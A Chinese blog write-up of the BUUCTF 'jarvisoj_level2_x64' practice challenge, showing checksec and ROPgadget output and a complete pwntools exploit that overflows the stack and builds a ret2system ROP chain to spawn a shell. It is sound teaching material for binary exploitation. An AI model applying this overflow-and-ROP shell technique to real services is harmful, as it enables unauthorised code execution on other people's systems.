BUUCTF Jarvisoj_level2_x64
Thursday, December 29, 2022
本文共664字
2分钟阅读时长
⚠️本文是作者P3troL1er原创,首发于https://peterliuzhi.top/writeup/jarvisoj_level2_x64/。商业转载请联系作者获得授权,非商业转载请注明出处!
I believe that we are fundamentally the same and have the same basic potential.
— Dalai Lama
原题链接
checksec 查看架构
$ checksec --file level2_x64
[*] '/home/peterl/security/workspace/level2_x64/level2_x64'
Arch: amd64-64-little
RELRO: No RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
看来该程序是 64 位的,而且因为 NX 不能使用 shellcode
同时,64 位系统调用 system 还要注意栈对齐的情况,要准备一个ret
的 gadget
ida 查看伪代码
我们先运行一下康康:
$ ./level2_x64
Input:
Hello World!
看来有一个输入口,有机会栈溢出,我们用 ida 看看
这个vulnerable_function
属实是有点大摇大摆了
点进去康康:
这明摆着是要栈溢出然后调用 plt 表中的 system 函数
构建 exp
寻找 system 函数地址:
要注意的是,直接用readelf -r level2_x64
命令读到的是.rela.plt 的符号表(涉及到延迟绑定机制,具体可以看这篇博文)
寻找"\bin\sh"
:
$ ROPgadget --binary level2_x64 --string "/bin/sh"
Strings information
============================================================
0x0000000000600a90 : /bin/sh
还好有现成的,不用自己去构建了
寻找两个 gadget:
$ ROPgadget --binary level2_x64 --only "pop|ret"
Gadgets information
============================================================
0x00000000004006ac : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004006ae : pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004006b0 : pop r14 ; pop r15 ; ret
0x00000000004006b2 : pop r15 ; ret
0x00000000004006ab : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004006af : pop rbp ; pop r14 ; pop r15 ; ret
0x0000000000400560 : pop rbp ; ret
0x00000000004006b3 : pop rdi ; ret
0x00000000004006b1 : pop rsi ; pop r15 ; ret
0x00000000004006ad : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004004a1 : ret
Unique gadgets found: 11
可以找到pop rdi;ret
和ret
:
0x00000000004006b3 : pop rdi ; ret
0x00000000004004a1 : ret
然后我们就可以构建 exp 了
注意,我们在一开始可以不加ret
,试过一次如果出现 EOF 再加,如果加了还是报错就说明不是栈对齐的问题
完整 exp
from pwn import *
from pwn import p64, p32
pss: bool = False
fn: str = "./level2_x64"
libc_name:str = "/lib/x86_64-linux-gnu/libdl.so.2"
port: str = ""
if_32: bool = False
pg = p32 if if_32 else p64
context(log_level="debug", arch="i386" if if_32 else "amd64", os="linux")
if pss:
p = remote("node4.buuoj.cn", port)
else:
p = process(fn,env={"LD_PRELOAD":"/lib/x86_64-linux-gnu/libdl.so.2"})
ret = 0x4004a1
pop_rdi_ret = 0x4006b3
bin_sh = 0x600a90
system_addr = 0x4004c0
p.recvuntil(b"Input:\n")
payload = b"a"*0x88 + pg(ret) + pg(pop_rdi_ret) + pg(bin_sh) + pg(system_addr)
p.sendline(payload)
p.interactive()
扫码阅读此文章
点击按钮复制分享信息
点击订阅